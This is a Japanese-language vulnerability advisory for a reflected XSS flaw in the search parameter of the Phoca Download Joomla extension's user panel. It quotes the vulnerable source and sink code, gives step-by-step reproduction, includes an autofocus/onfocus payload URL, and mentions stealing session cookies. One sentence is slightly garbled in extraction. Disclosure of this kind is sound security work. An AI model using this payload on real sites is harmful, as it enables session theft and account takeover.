
Phoca Download の検索 GET パラメータを介した Reflected XSS
Phoca Download ≤ 6.1.4 — 認証済み攻撃者が細工した検索URLを介してユーザーコントロールパネルで任意のJavaScriptを実行
Joomla用のPhoca Download(com_phocadownload)には、ユーザーコントロールパネルのファイル検索機能にReflected Cross-Site Scripting(XSS)の脆弱性が存在します。search GETパラメータは、strip_tags()のみを呼び出し"文字を保持するJoomlaの'string'フィルタで処理され、その後を使用せずにHTMLの属性にエコーバックされます。攻撃者は、細工したリンクをクリックする以外のユーザー操作を必要とせず、ページ読み込み時に被害者のブラウザで実行される任意のHTML属性やイベントハンドラを注入できます。
htmlspecialchars()<input value="">| コンポーネント | 脆弱性あり | テスト環境 | 修正済み |
|---|---|---|---|
| com_phocadownload | ≤ 6.1.4 | Joomla 5 + PhocaDownload 6.1.4 + MariaDB 10.6 | 6.1.5 |
タイプ: Reflected Cross-Site Scripting(CWE-79)
必要な認証: 登録済みJoomlaユーザー(ログイン済み)+ ユーザーコントロールパネル有効(enable_user_cp = 1)
CSRFトークンの必要性: 不要 — GETリクエストであり、このパスではCSRFトークンはチェックされません
シンクファイル: site/views/user/tmpl/default_files_bootstrap.php
searchパラメータは、strip_tags()のみを呼び出すJoomlaの'string'フィルタを使用して読み取られます。これにより"文字が保持され、攻撃者がvalue=""属性のコンテキストから抜け出して任意のHTML属性を注入できるようになります。
SITE/VIEWS/USER/VIEW.HTML.PHP:252 — ソース
$search_files = $app->getUserStateFromRequest(
$this->_context_files.'.search', 'search', '', 'string'
);
$search_files = StringHelper::strtolower($search_files);
$lists_files['search'] = $search_files; // stored without encoding
SITE/VIEWS/USER/TMPL/DEFAULT_FILES_BOOTSTRAP.PHP:56 — シンク(脆弱性あり)
<input type="text" name="search" id="pdsearch"
value="<?php echo $this->t['listsfiles']['search'];?>"
class="form-control" />
同じ拡張機能の兄弟ビューであるphocadownloadlinkfileは、同じ検索フィールドに対してPhocaDownloadUtils::filterValue($search, 'text')(htmlspecialchars()と同等)を正しく適用しています。userビューは同じ保護を適用しておらず、拡張機能内で出力エンコーディングに一貫性がないことを示しています。
Joomlaのログインページに移動し、登録ユーザーとして認証します。ログイン成功後、Joomlaはユーザープロフィールページにリダイレクトし、アクティブなセッションを確認します。

PhocaDownloadユーザーコントロールパネルに移動します:
http://TARGET/index.php?option=com_phocadownload&view=user
ページは空の検索フィールド(value="")でレンダリングされます。これは注入前の通常の状態です。

以下の細工したURLに移動します(または生のペイロードを検索ボックスに直接入力します):
http://TARGET/index.php?option=com_phocadownload&view=user&search=%22%20autofocus%20onfocus%3Dalert%28document.domain%29%20x%3D

ページが読み込まれると、注入されたautofocus属性が入力要素にフォーカスを当て、即座にonfocusイベントハンドラをトリガーします。それ以上のユーザー操作は必要ありません。
レンダリングされたHTML(脆弱性あり):
<input type="text" name="search" id="pdsearch"
value="" autofocus onfocus=alert(document.domain) x="
class="form-control" />
document.cookieを介して被害者のJoomlaセッションCookieを盗み取り、資格情報なしで完全なアカウント乗っ取りを可能にします。